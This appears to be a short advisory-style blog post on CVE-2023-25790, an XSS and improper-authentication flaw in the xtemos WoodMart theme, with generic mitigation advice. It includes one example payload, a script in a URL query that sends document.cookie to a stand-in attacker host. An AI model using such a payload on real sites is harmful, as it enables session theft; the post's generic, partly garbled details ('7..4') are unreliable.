CVE-2023-25790 - Cross-Site Scripting (XSS) and Improper Authentication Vulnerability in xtemos WoodMart Versions up to 7..4

A newly discovered Cross-Site Scripting (XSS) vulnerability (CVE-2023-25790) in xtemos WoodMart could potentially allow attackers to perform malicious activities, such as injecting malicious scripts, bypassing authentication, and even stealing sensitive user data. This post will go in-depth about xtemos WoodMart's vulnerability, including a code snippet, original references, and exploit details.

CVE-2023-25790 Details

Affected Software: xtemos WoodMart
Affected Versions: n/a through 7..4
Vulnerabilities: Improper Authentication, Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting')
Impact: Attackers can steal sensitive user data, inject malicious scripts, and bypass authentication mechanisms.

Exploit Details

The vulnerability exists due to improper handling of user input during web page generation. As a result, an attacker can submit specially crafted input to execute arbitrary scripts in the context of the user's browser. This could lead to bypassing authentication mechanisms, obtaining sensitive user information, and even injecting malicious scripts for further attacks.

For example, an attacker could exploit this vulnerability by injecting the following malicious script in a seemingly legitimate URL:

http://<vulnerable_woodmart_site>/index.php?query=<script>document.location='https://attacker_site.com/collect_cookies.php?cookies='+document.cookie;</script>;

In this case, instead of displaying the expected web page, the user's browser would execute the malicious script, which in turn would intercept the user's cookies (including authentication cookies) and send them to the attacker's website.

Original References

1. CVE-2023-25790 - National Vulnerability Database
2. xtemos WoodMart XSS Vulnerability Discovery

Steps to Mitigate the Vulnerability

To mitigate the vulnerability, xtemos WoodMart users should implement proper input sanitization and validation procedures and ensure that their applications properly encode data before rendering it in the user's browser.

Conclusion

The CVE-2023-25790 vulnerability in xtemos WoodMart can allow attackers to exploit Cross-Site Scripting and Improper Authentication issues, potentially leading to sensitive data theft, malicious script injection, and other critical problems for the end-users. It is crucial for WoodMart users to familiarize themselves with this vulnerability and take the necessary steps to remediate it. By applying updates, employing proper input validation, and implementing appropriate security headers, users can protect themselves from the risks associated with this vulnerability.

Timeline

Published on: 04/24/2024 16:15:07 UTC
Last modified on: 04/24/2024 17:16:50 UTC